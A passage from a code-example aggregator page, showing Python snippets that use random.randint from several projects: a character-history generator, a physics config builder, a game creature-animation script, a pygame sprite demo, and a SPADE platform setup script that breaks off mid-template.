	#print 'Charisma:', CHARISMA
	#print 'Sociability:', SOCIABILITY
	#print 'Motive for crime:', MOTIVE_FOR_CRIME
	#print 'Motive for wealth:', MOTIVE_FOR_WEALTH
	#print 'Motive for survival:', MOTIVE_FOR_SURVIVAL
	
	if not HAS_BIRTH_PARENTS:
		HISTORY.append('Lost his parents in late childhood')
	
	if WAS_ADOPTED:
		HISTORY[len(HISTORY)-1] += ', but was later adopted'
	
	if PARENTING_QUALITY>=3:
		HISTORY.append('Was raised well')
	elif PARENTING_QUALITY:
		HISTORY.append('Was raised poorly')
	
	if BULLIED:
		if 'well' in HISTORY[len(HISTORY)-1]:
			HISTORY[len(HISTORY)-1] += ', but was bullied'
		elif 'poorly' in HISTORY[len(HISTORY)-1]:
			HISTORY[len(HISTORY)-1] += ', and was bullied'
		else:
			HISTORY.append('He was bullied')
		
		if FOUGHT_BACK:
			if ',' in HISTORY[len(HISTORY)-1]:
				HISTORY[len(HISTORY)-1] += ' (he fought back)'
	
	if GRADUATED:
		HISTORY.append('Graduated')
	elif STREET_SMART:
		HISTORY.append('Is street smart')
		
	if MATHEMATICS>=5:
		HISTORY.append('Is good at math')
	elif MATHEMATICS <= 2:
		HISTORY.append('Is bad with numbers')
	
	if READING>=5:
		HISTORY.append('Can read very well')
	elif READING <= 3:
		HISTORY.append('Was not hooked on phonics')
	
	if ENGINEERING>=5:
		HISTORY.append('Is proficient at engineering')
	elif ENGINEERING <= 3:
		HISTORY.append('Has poor engineering skills')
	
	if FIREARMS>=5:
		HISTORY.append('Knows his way around a gun')
	elif FIREARMS <= 3:
		HISTORY.append('Has shaky aim')
		
	if MELEE>=5:
		HISTORY.append('Can fight very well')
	elif MELEE<=3:
		if 'gun' in HISTORY[len(HISTORY)-1]:
			HISTORY[len(HISTORY)-1] += ', but can\'t hold his own in a fist fight'
		else:
			HISTORY[len(HISTORY)-1] += ' and can\'t fight'
	
	if IS_LEADER:
		if SELF_ABSORBED:
			HISTORY.append('Would rather lead than follow')
		else:
			HISTORY.append('Is a fine leader')
	elif LONE_WOLF:
		HISTORY.append('Prefers to work alone')
	
	if PATIENCE>=7:
		HISTORY.append('Patient')
	elif PATIENCE<=3:
		HISTORY.append('Very impatient')
	
	#print '. '.join(HISTORY)+'.'	
	
	return {'mathematics': MATHEMATICS,
		'reading': READING,
		'engineering': ENGINEERING,
		'firearms': FIREARMS,
		'melee': MELEE,
		'trading': TRADING,
		'is_leader': IS_LEADER,
		'self_absorbed': SELF_ABSORBED,
		'lone_wolf': LONE_WOLF,
		'patience': PATIENCE,
		'trustiness': TRUSTINESS,
		'sociability': SOCIABILITY,
		'psychotic': False,
		'description': '. '.join(HISTORY)+'.',
		'motive_for_crime': MOTIVE_FOR_CRIME,
		'motive_for_wealth': MOTIVE_FOR_WEALTH,
		'motive_for_survival': MOTIVE_FOR_SURVIVAL}

Example 20

Project: ganga
Source File: ND280Configs.py
View license
    def CreateSandMCCF(self):

        if not self.CheckOptions():
            print 'ERROR please make sure all options stated above are entered'
            return ''

        if not self.options['stage'] in ['neutMC','g4anal','neutSetup']:
            print 'ERROR "stage" options should be one of',['neutMC','g4anal','neutSetup']
            return ''
        
        configfile = ''
        configfile += "# Automatically generated config file\n\n"


        ### Software Setup
        configfile += "[software]\n"
        configfile += "neut_setup_script = " + self.options['neut_setup_script'] + "\n\n"

        ### Module list
        configfile += "[configuration]\n"
        if self.options['stage'] == 'g4anal':
            configfile += "module_list = sandPropagate nd280MC elecSim oaCalibMC  oaRecon oaAnalysis\n"
            configfile += "inputfile = " +  self.options['inputfile'] + "\n\n"
        else:
            #configfile += "module_list = " + self.options['module_list'] + "\n\n"
            configfile += "module_list = neutMC\n\n"

        ### File naming
        if not  self.options['comment']:
             self.options['comment'] =  self.options['nd280ver']
        configfile += "[filenaming]\n"

        thisrun = 90007000
	if self.options['generator'] == "old-neut":
            thisrun += 2000000
	if self.options['generator'] == "anti-neut":
            thisrun = 80007000
        if self.options['generator'] == "genie" :
            thisrun += 1000000

        if self.options['beam'] == "beamc":
            thisrun += 300000
        else:
            print "ERROR self.beam = " + self.beam + " is not supported!!!"
            return ''

        if self.options['p0d_water_fill']: # water
            thisrun += 10000

        configfile += "run_number = %d\n" % (thisrun+int(self.options['run_number']))
        configfile += "subrun = " + self.options['subrun'] + "\n"
        configfile += "comment = " + self.options['comment'] + "\n\n"


        ### Geometry
        configfile += "[geometry]\n"
        configfile += "baseline = " + self.options['baseline'] + "\n"
        configfile += "p0d_water_fill = " + self.options['p0d_water_fill'] + "\n\n"

        ### Neutrino
        configfile += "[neutrino]\n"
        configfile += "neut_card = " + self.options['neut_card'] + "\n"
        configfile += "flux_file = " + self.options['flux_file'] + "\n"
        configfile += "maxint_file = " + self.options['maxint_file'] + "\n"
        
        configfile += "pot = " + self.options['pot'] + "\n"
        #configfile += "num_events = 5000\n" # DVtmp
        configfile += "neutrino_type = " + self.options['neutrino_type'] + "\n"
        configfile += "flux_region = " + self.options['flux_region'] + "\n"
        configfile += "master_volume = " + self.options['master_volume'] + "\n"
        configfile += "force_volume_name = " + self.options['force_volume_name'] + "\n"
        configfile += "random_start = " + self.options['random_start'] + "\n"
        configfile += "random_seed = " + str(random.randint(1,999999999)) + "\n"
        configfile += "neut_seed1 = "  + str(random.randint(1,999999999)) + "\n"
        configfile += "neut_seed2 = "  + str(random.randint(1,999999999)) + "\n"
        configfile += "neut_seed3 = "  + str(random.randint(1,999999999)) + "\n\n"

        ### Dead channels
        configfile += "[dead_channels]\n"
        configfile += "tpc_periods_to_activate = " + self.options['tpc_periods_to_activate'] + "\n"
        configfile += "ecal_periods_to_activate = " + self.options['ecal_periods_to_activate'] + "\n\n"

        ### Sand propagate
        configfile += "[sandPropagate]\n"
        configfile += "num_events = " + self.options['num_events'] + "\n\n"

        ### nd280mc
        configfile += "[nd280mc]\n"
        configfile += "num_events = " + self.options['num_events'] + "\n"
        configfile += "mc_type = " + self.options['mc_type'] + "\n"
        configfile += "nbunches = " + self.options['nbunches'] + "\n"

        configfile += "interactions_per_spill = " + self.options['interactions_per_spill'] + "\n"
        configfile += "pot_per_spill = " + self.options['pot_per_spill'] + "\n"
        configfile += "bunch_duration = " + self.options['bunch_duration'] + "\n"
        configfile += "mc_full_spill = " + self.options['mc_full_spill'] + "\n"
        configfile += "time_offset = " + self.options['time_offset'] + "\n"
        configfile += "count_type = " + self.options['count_type'] + "\n"
        configfile += "mc_position = " + self.options['mc_position'] + "\n"
        configfile += "random_seed = " + str(random.randint(1,999999999)) + "\n\n"

        ### Electronics
        configfile += "[electronics]\n"
        configfile += "random_seed = " + str(random.randint(1,999999999)) + "\n\n"

        ### Analysis
        configfile += "[analysis]\n"
        configfile += "production = " +  self.options['production'] + "\n"
        configfile += "save_geometry = " +  self.options['save_geometry'] + "\n"

        return configfile

Example 21

Project: moul-scripts
Source File: payiUrwinBrain.py
View license
    def OnNotify(self,state,id,events):
        global StepsToTake
        global stackList

        ageSDL = PtGetAgeSDL()
        print "payiUrwinBrain.OnNotify:  state=%f id=%d owned=%s prowl=%s events=" % (state,id,str(self.sceneobject.isLocallyOwned()),str(ageSDL["UrwinOnTheProwl"][0])),events

        if id == (-1):
            print "Need to store event: %s" % (events[0][1])
            stackList.append(events[0][1])
            print "New list is: %s" % (str(stackList))
            if len(stackList) == 1:
                print "List is only one command long, so I'm playing it"
                code = stackList[0]
                print "Playing command: %s" % (code)
                self.ExecCode(code)

        elif state and self.sceneobject.isLocallyOwned() and ageSDL["UrwinOnTheProwl"][0]:
            if id == respUrwinSfx.id:
                print "Callback was from Appearance SFX, and I own the age, so start walking"
                self.StartToWalk()

            else:
                print "Callback was from responder, and I own the age, so Logic Time"
                old = stackList.pop(0)
                print "Popping off: %s" % (old)
                boolBatteryChargedAndOn = ageSDL["payiPodLights"][0]
                
                if id == respUrwin_Walk_Loop01.id or id == respUrwin_Walk_Loop02.id or id == respUrwin_WalkSniff_ToWalk.id or id == respUrwin_Idle_ToWalk.id:
                    UrwinMasterAnim.animation.resume()
                    if StepsToTake == 0:
                        StepsToTake = random.randint(minsteps, maxsteps)
                        print "We should have steps, so Urwin has decided to take %d steps." % (StepsToTake)
                    
                    StepsToTake = StepsToTake - 1
                    if StepsToTake:
                        if random.randint(0,9): # 90% chance of continuing walk loop
                            print "Urwin will take %d more steps..." % (StepsToTake)
                            if random.randint(0,2):
                                print "Urwin walks one way."
                                self.SendNote("respUrwin_Walk_Loop01")
                                if boolBatteryChargedAndOn:
                                    respUrwinSfx.run(self.key, state="Walk01")
                            else:
                                print "Urwin walks the other way."
                                self.SendNote("respUrwin_Walk_Loop02")
                                if boolBatteryChargedAndOn:
                                    respUrwinSfx.run(self.key, state="Walk02")

                        else: # 10% to Sniff
                            print "Urwin smells something..."
                            self.SendNote("respUrwin_Walk_ToWalkSniff")
                            if boolBatteryChargedAndOn:
                                respUrwinSfx.run(self.key, state="Walk2Sniff")

                    else:
                        print "Urwin is tired and stops walking"
                        self.SendNote("respUrwin_Walk_ToIdle")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Walk2Idle")

                elif id == respUrwin_Walk_ToWalkSniff.id or id == respUrwin_WalkSniff.id or id == respUrwin_Eat_ToWalkSniff.id:
                    UrwinMasterAnim.animation.resume()
                    pct = random.randint(0,2)
                    if pct == 2:
                        print "Urwin smells something good!"
                        self.SendNote("respUrwin_WalkSniff")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Sniff")

                    elif pct == 1:
                        print "Urwin found food!"
                        self.SendNote("respUrwin_WalkSniff_ToEat")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Sniff2Eat")

                    else:
                        print "Urwin says nevermind, back to walking."
                        self.SendNote("respUrwin_WalkSniff_ToWalk")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Sniff2Walk")

                elif id == respUrwin_WalkSniff_ToEat.id or id == respUrwin_Idle_ToEat.id:
                    UrwinMasterAnim.animation.stop()
                    pct = random.randint(0,2)
                    if pct == 2:
                        print "Urwin lost interest in the food."
                        self.SendNote("respUrwin_Eat_ToIdle")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Eat2Idle")

                    elif pct == 1:
                        print "Urwin is still searching for the food."
                        self.SendNote("respUrwin_Eat_ToWalkSniff")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Eat2Sniff")

                    else:
                        print "Urwin scoops up the food!"
                        self.SendNote("respUrwin_Eat_Scoop")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Scoop")

                elif id == respUrwin_Eat_Scoop.id or id == respUrwin_Eat_Shake.id or id == respUrwin_Eat_Swallow.id:
                    pct = random.randint(0,4)
                    if pct == 4:
                        print "Urwin scoops up the food!"
                        self.SendNote("respUrwin_Eat_Scoop")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Scoop")

                    elif pct == 3:
                        print "Urwin shakes the food!"
                        self.SendNote("respUrwin_Eat_Shake")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Shake")

                    elif pct == 2:
                        print "Urwin swallows the food!"
                        self.SendNote("respUrwin_Eat_Swallow")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Swallow")

                    elif pct == 1:
                        print "Urwin lost interest in the food."
                        self.SendNote("respUrwin_Eat_ToIdle")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Eat2Idle")

                    else:
                        print "Urwin is still searching for the food."
                        self.SendNote("respUrwin_Eat_ToWalkSniff")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Eat2Sniff")

                elif id == respUrwin_Idle_01.id or id == respUrwin_Idle_02.id or id == respUrwin_Eat_ToIdle.id or id == respUrwin_Walk_ToIdle.id or id == respUrwin_Idle_Vocalize.id:
                    UrwinMasterAnim.animation.stop()
                    pct = random.randint(0,4)
                    if pct == 4:
                        print "Urwin idles one way."
                        self.SendNote("respUrwin_Idle_01")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Idle01")

                    elif pct == 3:
                        print "Urwin idles the other way."
                        self.SendNote("respUrwin_Idle_02")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Idle02")

                    elif pct == 2:
                        print "Urwin calls home!"
                        self.SendNote("respUrwin_Idle_Vocalize")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Vocalize")

                    elif pct == 1:
                        print "Urwin gets hungry."
                        self.SendNote("respUrwin_Idle_ToEat")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Idle2Eat")

                    else:
                        print "Urwin is done resting, back to walking."
                        self.SendNote("respUrwin_Idle_ToWalk")
                        if boolBatteryChargedAndOn:
                            respUrwinSfx.run(self.key, state="Idle2Walk")

                elif id == actUrwinPathEnd.id:
                    print "End of the line, Urwin!"
                    UrwinMasterAnim.animation.stop()
                    UrwinMasterAnim.animation.skipToTime(0)
                    ageSDL["UrwinOnTheProwl"] = (0,)
                    if boolBatteryChargedAndOn:
                        respUrwinSfx.run(self.key, state="disappear")

        elif id in range(3,21) and not self.sceneobject.isLocallyOwned():
            print "Callback was from responder, and I DON'T own the age, so I'll try playing the next item in list"
            old = stackList.pop(0)
            print "Popping off: %s" % (old)
            if len(stackList):
                print "List has at least one item ready to play"
                code = stackList[0]
                print "Playing command: %s" % (code)
                self.ExecCode(code)

        else:
            print "Callback from something else?"

Example 22

View license
def game():
        
    import pygame
    import os
    import random

    pygame.mixer.pre_init(44100, -16, 2, 2048) # setup mixer to avoid sound lag
    pygame.init()
    screen=pygame.display.set_mode((640,480)) # try out larger values and see what happens !
    #winstyle = 0  # |FULLSCREEN # Set the display mode
    BIRDSPEEDMAX = 200
    BIRDSPEEDMIN = 10
    FRICTION =.999
    HITPOINTS = 100.0 
    FORCE_OF_GRAVITY = 9.81 # in pixel per secondĀ² .See http://en.wikipedia.org/wiki/Gravitational_acceleration
    print(pygame.ver)
    def write(msg="pygame is cool"):
        """write text into pygame surfaces"""
        myfont = pygame.font.SysFont("None", 32)
        mytext = myfont.render(msg, True, (0,0,0))
        mytext = mytext.convert_alpha()
        return mytext
    
    #define sprite groups
    birdgroup = pygame.sprite.LayeredUpdates()   
    bargroup = pygame.sprite.Group()
    stuffgroup = pygame.sprite.Group()
    fragmentgroup = pygame.sprite.Group()
    # LayeredUpdates instead of group to draw in correct order
    allgroup = pygame.sprite.LayeredUpdates() # more sophisticated than simple group

    class BirdCatcher(pygame.sprite.Sprite):
        """circle around the mouse pointer. Left button create new sprite, right button kill sprite"""
        def __init__(self):
            pygame.sprite.Sprite.__init__(self, self.groups)
            self.image = pygame.Surface((100,100)) # created on the fly
            self.image.set_colorkey((0,0,0)) # black transparent
            pygame.draw.circle(self.image, (255,0,0), (50,50), 50, 2) # red circle
            self.image = self.image.convert_alpha()
            self.rect = self.image.get_rect()
            self.radius = 50 # for collide check

        def update(self, seconds):
            # no need for seconds but the other sprites need it
            self.rect.center = pygame.mouse.get_pos()

    class Fragment(pygame.sprite.Sprite):
        """a fragment of an exploding Bird"""
        gravity = True # fragments fall down ?
        def __init__(self, pos):
            pygame.sprite.Sprite.__init__(self, self.groups)
            self.pos = [0.0,0.0]
            self.pos[0] = pos[0]
            self.pos[1] = pos[1]
            self.image = pygame.Surface((10,10))
            self.image.set_colorkey((0,0,0)) # black transparent
            pygame.draw.circle(self.image, (random.randint(1,64),0,0), (5,5), 
                                            random.randint(2,5))
            self.image = self.image.convert_alpha()
            self.rect = self.image.get_rect()
            self.rect.center = self.pos #if you forget this line the sprite sit in the topleft corner
            self.lifetime = 1 + random.random()*5 # max 6 seconds
            self.time = 0.0
            self.fragmentmaxspeed = BIRDSPEEDMAX * 2 # try out other factors !
            self.dx = random.randint(-self.fragmentmaxspeed,self.fragmentmaxspeed)
            self.dy = random.randint(-self.fragmentmaxspeed,self.fragmentmaxspeed)
            
        def update(self, seconds):
            self.time += seconds
            if self.time > self.lifetime:
                self.kill() 
            self.pos[0] += self.dx * seconds
            self.pos[1] += self.dy * seconds
            if Fragment.gravity:
                self.dy += FORCE_OF_GRAVITY # gravity suck fragments down
            self.rect.centerx = round(self.pos[0],0)
            self.rect.centery = round(self.pos[1],0)
            
    class Timebar(pygame.sprite.Sprite):
        """shows a bar as long as how much milliseconds are passed between two frames"""
        def __init__(self, long):
            pygame.sprite.Sprite.__init__(self, self.groups)
            self.long = long   * 2
            self.image = pygame.Surface((self.long,5))
            self.image.fill((128,255,0))
            self.image.convert()
            self.rect = self.image.get_rect()
            self.rect.bottomleft = (0,screen.get_height())
        
        def update(self, time):
            self.rect.centery = self.rect.centery - 7
            if self.rect.centery < 0:
                self.kill()

    class Livebar(pygame.sprite.Sprite):
        """shows a bar with the hitpoints of a Bird sprite"""
        def __init__(self, boss):
            pygame.sprite.Sprite.__init__(self,self.groups)
            self.boss = boss
            self.image = pygame.Surface((self.boss.rect.width,7))
            self.image.set_colorkey((0,0,0)) # black transparent
            pygame.draw.rect(self.image, (0,255,0), (0,0,self.boss.rect.width,7),1)
            self.rect = self.image.get_rect()
            self.oldpercent = 0
            self.bossnumber = self.boss.number # the unique number (name) of my boss
            
        def update(self, time):
            self.percent = self.boss.hitpoints / self.boss.hitpointsfull * 1.0
            if self.percent != self.oldpercent:
                pygame.draw.rect(self.image, (0,0,0), (1,1,self.boss.rect.width-2,5)) # fill black
                pygame.draw.rect(self.image, (0,255,0), (1,1,
                    int(self.boss.rect.width * self.percent),5),0) # fill green
            self.oldpercent = self.percent
            self.rect.centerx = self.boss.rect.centerx
            self.rect.centery = self.boss.rect.centery - self.boss.rect.height /2 - 10
            #check if boss is still alive
            if not Bird.birds[self.bossnumber]:
                self.kill() # kill the hitbar

    class Bird(pygame.sprite.Sprite):
        """a nice little sprite that bounce off walls and other sprites"""
        image=[]  # list of all images
        # not necessary:
        birds = {} # a dictionary of all Birds, each Bird has its own number
        number = 0  
        def __init__(self, startpos=screen.get_rect().center):
            pygame.sprite.Sprite.__init__(self,  self.groups ) #call parent class. NEVER FORGET !
            self.pos = [0,0] # dummy values to create a list
            self.pos[0] = float(startpos[0]) # float for more precise calculation
            self.pos[1] = float(startpos[1])
            self.area = screen.get_rect()
            self.image = Bird.image[0]
            self.hitpointsfull = float(HITPOINTS) # maximal hitpoints , float makes decimal
            self.hitpoints = float(HITPOINTS) # actual hitpoints
            self.rect = self.image.get_rect()
            self.radius = max(self.rect.width, self.rect.height) / 2.0
                        
            self.newspeed()
            self.cleanstatus()
            self.catched = False
            self.crashing = False
            #--- not necessary:
            self.number = Bird.number # get my personal Birdnumber
            Bird.number+= 1           # increase the number for next Bird
            Bird.birds[self.number] = self # store myself into the Bird dictionary
            #print "my number %i Bird number %i " % (self.number, Bird.number)
            Livebar(self) #create a Livebar for this Bird. 
            
        def newspeed(self):
            # new birdspeed, but not 0
            speedrandom = random.choice([-1,1]) # flip a coin
            self.dx = random.random() * BIRDSPEEDMAX * speedrandom + speedrandom 
            self.dy = random.random() * BIRDSPEEDMAX * speedrandom + speedrandom 
            
        def kill(self):
            """because i want to do some special effects (sound, dictionary etc.)
            before killing the Bird sprite i have to write my own kill(self)
            function and finally call pygame.sprite.Sprite.kill(self) 
            to do the 'real' killing"""
            cry.play()
            #print Bird.birds, "..."
            for _ in range(random.randint(3,15)):
                Fragment(self.pos)
            Bird.birds[self.number] = None # kill Bird in sprite dictionary
            pygame.sprite.Sprite.kill(self) # kill the actual Bird 

        def cleanstatus(self):
            self.catched = False   # set all Bird sprites to not catched
            self.crashing = False

        def update(self, seconds):
            # friction make birds slower
            if abs(self.dx) > BIRDSPEEDMIN and abs(self.dy) > BIRDSPEEDMIN:
                self.dx *= FRICTION
                self.dy *= FRICTION
            # spped limit
            if abs(self.dx) > BIRDSPEEDMAX:
                self.dx = BIRDSPEEDMAX * self.dx / self.dx
            if abs(self.dy) > BIRDSPEEDMAX:
                self.dy = BIRDSPEEDMAX * self.dy / self.dy
            # new position
            self.pos[0] += self.dx * seconds
            self.pos[1] += self.dy * seconds
            # -- check if Bird out of screen
            if not self.area.contains(self.rect):
                self.crashing = True # change colour later
                # --- compare self.rect and area.rect
                if self.pos[0] + self.rect.width/2 > self.area.right:
                    self.pos[0] = self.area.right - self.rect.width/2
                if self.pos[0] - self.rect.width/2 < self.area.left:
                    self.pos[0] = self.area.left + self.rect.width/2
                if self.pos[1] + self.rect.height/2 > self.area.bottom:
                    self.pos[1] = self.area.bottom - self.rect.height/2
                if self.pos[1] - self.rect.height/2 < self.area.top:
                    self.pos[1] = self.area.top + self.rect.height/2
                self.newspeed() # calculate a new direction
            #--- calculate actual image: crasing, catched, both, nothing ?
            self.image = Bird.image[self.crashing + self.catched*2]
            #--- calculate new position on screen -----
            self.rect.centerx = round(self.pos[0],0)
            self.rect.centery = round(self.pos[1],0)
            #--- loose hitpoins
            if self.crashing:
                self.hitpoints -=1
            #--- check if still alive
            if self.hitpoints <= 0:
                self.kill()
    
    #---------------  no class -----------
    background = pygame.Surface((screen.get_width(), screen.get_height()))
    background.fill((255,255,255))     # fill white
    background.blit(write("press left mouse button for more sprites."),(150,10))
    background.blit(write("press right mouse button to kill sprites."),(150,40))
    background.blit(write("press g to toggle gravity"),(150,70))
    background.blit(write("press b to toggle bad coding"),(150,100))
    background.blit(write("press c to toggle clever coding"), (150,130))
    background.blit(write("Press ESC to quit"), (150,160))

    # paint vertical lines to measure passed time (Timebar)
    #for x in range(0,screen.get_width()+1,20):
    for x in range(0,140,20):
        pygame.draw.line(background, (255,0,255), (x,0) ,(x,screen.get_height()), 1)
    background = background.convert()  # jpg can not have transparency
    screen.blit(background, (0,0))     # blit background on screen (overwriting all)


    #assign default groups to each sprite class
    # (only allgroup is useful at the moment)
    Livebar.groups =  bargroup, allgroup 
    Timebar.groups = bargroup, allgroup
    Bird.groups =  birdgroup, allgroup
    Fragment.groups = fragmentgroup, allgroup
    BirdCatcher.groups = stuffgroup, allgroup
    #assign default layer for each sprite (lower numer is background)
    BirdCatcher._layer = 5 # top foreground
    Fragment._layer = 4
    Timebar._layer = 3
    Bird._layer = 2
    Livebar._layer = 1




    # load images into classes (class variable !)
    try:
        Bird.image.append(pygame.image.load(os.path.join("data","babytux.png")))
        Bird.image.append(pygame.image.load(os.path.join("data","babytux_neg.png")))
    except:
        raise(UserWarning, "no image files 'babytux.png' and 'babytux_neg.png' in subfolder 'data'")
    Bird.image.append(Bird.image[0].copy()) # copy of first image
    pygame.draw.rect(Bird.image[2], (0,0,255), (0,0,32,36), 1) # blue border
    Bird.image.append(Bird.image[1].copy()) # copy second image
    pygame.draw.rect(Bird.image[3], (0,0,255), (0,0,32,36), 1) # blue border
    Bird.image[0] = Bird.image[0].convert_alpha()
    Bird.image[1] = Bird.image[1].convert_alpha()
    Bird.image[2] = Bird.image[2].convert_alpha()
    Bird.image[3] = Bird.image[3].convert_alpha()

    try:
        cry = pygame.mixer.Sound(os.path.join('data','claws.ogg'))  #load sound
    except:
        raise(UserWarning, "could not load sound claws.ogg from 'data'")


   

    # at game start create a Bird and one BirdCatcher
    Bird()  # one single Bird
    hunter = BirdCatcher() # display the BirdCatcher and name it "hunter"

    # set 
    millimax = 0
    othergroup =  [] # important for good collision detection
    badcoding = False
    clevercoding = False
    clock = pygame.time.Clock()        # create pygame clock object 
    mainloop = True
    FPS = 60                           # desired max. framerate in frames per second. 


    while mainloop:
        
        milliseconds = clock.tick(FPS)  # milliseconds passed since last frame
        Timebar(milliseconds)
        if milliseconds > millimax:
            millimax = milliseconds
        seconds = milliseconds / 1000.0 # seconds passed since last frame
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                mainloop = False # pygame window closed by user
            elif event.type == pygame.KEYDOWN:
                if event.key == pygame.K_ESCAPE:
                    mainloop = False # user pressed ESC
                elif event.key == pygame.K_g:
                    Fragment.gravity = not Fragment.gravity # toggle gravity class variable
                elif event.key == pygame.K_b:
                    if badcoding:
                        othergroup =  [] # 
                    badcoding = not badcoding
                    if badcoding: 
                        clevercoding = False
                elif event.key == pygame.K_c:
                    clevercoding = not clevercoding
                    if clevercoding:
                        badcoding = False
                elif event.key == pygame.K_p:
                    print("----------")
                    print("toplayer:", allgroup.get_top_layer())
                    print("bottomlayer:", allgroup.get_bottom_layer())
                    print("layers;", allgroup.layers())
                    

        # create new Bird on mouseclick
        if pygame.mouse.get_pressed()[0]:
            #if not pygame.sprite.spritecollideany(hunter, birdgroup): 
                Bird(pygame.mouse.get_pos()) # create a new Bird at mousepos
        if pygame.mouse.get_pressed()[2]:
            # kill sprites
            crashgroup = pygame.sprite.spritecollide(hunter, birdgroup, True, pygame.sprite.collide_circle)
        pygame.display.set_caption("ms: %i max(ms): %i fps: %.2f birds: %i gravity: %s bad:%s clever:%s"% (milliseconds, 
                                    millimax, clock.get_fps(), len(birdgroup), Fragment.gravity, badcoding, clevercoding))
        
        # ------ collision detecttion
        for bird in birdgroup:
            bird.cleanstatus()
            
        #pygame.sprite.spritecollide(sprite, group, dokill, collided = None): return Sprite_list
        crashgroup = pygame.sprite.spritecollide(hunter, birdgroup, False, pygame.sprite.collide_circle)
        # pygame.sprite.collide_circle works only if one sprite has self.radius
        # you can do without that argument collided and only the self.rects will be checked
        for crashbird in crashgroup:
            crashbird.catched = True # will get a blue border from Bird.update()
            #crashbird.kill()   # this would remove him from all his groups
        
        # test if a bird collides with another bird
        for bird in birdgroup:
            if not clevercoding:
                if badcoding:
                    othergroup = birdgroup.copy() # WRONG ! THIS CODE MAKES UGLY TIME-CONSUMING GARBAGE COLLECTION !
                else:
                    othergroup[:] = birdgroup.sprites() # correct. no garbage collection
                othergroup.remove(bird) # remove the actual bird, only all other birds remain
                if pygame.sprite.spritecollideany(bird, othergroup): 
                    
                    crashgroup = pygame.sprite.spritecollide(bird, othergroup, False )
                    for crashbird in crashgroup:
                        bird.crashing = True
                        bird.dx -= crashbird.pos[0] - bird.pos[0]
                        bird.dy -= crashbird.pos[1] - bird.pos[1]
            else:
                # very clever coding
                crashgroup = pygame.sprite.spritecollide(bird, birdgroup, False)
                for crashbird in crashgroup:
                    if crashbird.number != bird.number: #avoid collision with itself
                        bird.crashing = True # make bird blue
                        bird.dx -= crashbird.pos[0] - bird.pos[0] # move bird away from other bird
                        bird.dy -= crashbird.pos[1] - bird.pos[1]
                    
        # ----------- clear, draw , update, flip -----------------  
        allgroup.clear(screen, background)
        allgroup.update(seconds)
        allgroup.draw(screen)           
        pygame.display.flip()         

Example 23

Project: spade
Source File: configure.py
View license
def generateCode():
    # Fill the template with the correct data

    global jabber_template
    global globalhostname

    path = ""

    if os.name == "posix":
            # If no hostname was previously specified, get one from the system
        if globalhostname == "":
            hostname = socket.gethostname()
        else:
            hostname = globalhostname

        #path = os.sep+"usr"+os.sep+"share"+os.sep+"spade"
    else:
        # If no hostname was previously specified, get one from the system
        if globalhostname == "":
            hostname = socket.gethostbyaddr(socket.gethostname())[0]
        else:
            hostname = globalhostname
        #path = "usr"+os.sep+"share"+os.sep+"spade"

    if hostname == "localhost":
        hostname = "127.0.0.1"
        print "Translating localhost DNS to IP (127.0.0.1)."

    acc_passwd = "".join([string.ascii_letters[int(
        random.randint(0, len(string.ascii_letters) - 1))] for a in range(8)])
    ams_passwd = "".join([string.ascii_letters[int(
        random.randint(0, len(string.ascii_letters) - 1))] for a in range(8)])
    df_passwd = "".join([string.ascii_letters[int(
        random.randint(0, len(string.ascii_letters) - 1))] for a in range(8)])

    spadexml = """
<spade>
    <platform>
        <hostname>""" + hostname + """</hostname>
        <port>5222</port>
        <adminpasswd>secret</adminpasswd>
    </platform>

    <acc>
        <hostname>acc.""" + hostname + """</hostname>
        <password>""" + acc_passwd + """</password>
        <port>5222</port>
#MTPS#
    </acc>
    <ams>
        <hostname>ams.""" + hostname + """</hostname>
        <password>""" + ams_passwd + """</password>
        <port>5222</port>
    </ams>

    <df>
        <hostname>df.""" + hostname + """</hostname>
        <password>""" + df_passwd + """</password>
        <port>5222</port>
    </df>
</spade>
    """

    # Now fill the MTPs information
    #mtp_str = "\n"
    #for file in os.listdir("spade/mtp"):
    #    try:
    #        # If its a python script
    #        if file[-3:] == ".py":
    #            fname = file[:-3]
    #            mtp_str = mtp_str + '''\t\t\t<mtp name="''' + fname + '''">\n\t\t\t\t<instance>''' + fname + '''</instance>\n'''
    #            mtp_str = mtp_str + """\t\t\t\t<protocol>""" + fname + """</protocol>\n"""
    #            mtp_str = mtp_str + """\t\t\t</mtp>\n\n"""
    #    except Exception, e:
    #        print "EXCEPTION GETTING MTPS: ", str(e)

    # Fill the data
    mtp_str = '''
        <mtp name="http">
            <instance>http</instance>
            <protocol>http</protocol>
        </mtp>'''
    spadexml = spadexml.replace("#MTPS#", mtp_str)

    file = open("spade.xml", "w+")
    file.write(spadexml)
    file.close()

    # Generating real xmppd.xml
    if os.name == 'posix':
        xmppdxml = '''
<server>
    <servernames>
        <name>''' + hostname + '''</name>
    </servernames>
    <certificate file="xmppd.pem"/>
    <plugins>
        <MUC jid="muc.''' + hostname + '''" name="SPADE MUC Component"/>
        <WQ jid="wq.''' + hostname + '''" name="SPADE Workgroup Queues"/>
    </plugins>
    <components>
        <AMS jid="ams.''' + hostname + '''" name="AMS" username="ams" password="''' + ams_passwd + '''"/>
        <DF jid="df.''' + hostname + '''" name="DF" username="df" password="''' + df_passwd + '''"/>
        <ACC jid="acc.''' + hostname + '''" name="ACC" username="acc" password="''' + acc_passwd + '''"/>
    </components>
</server>
        '''
    else:
        xmppdxml = '''
<server>
    <servernames>
        <name>''' + hostname + '''</name>
    </servernames>
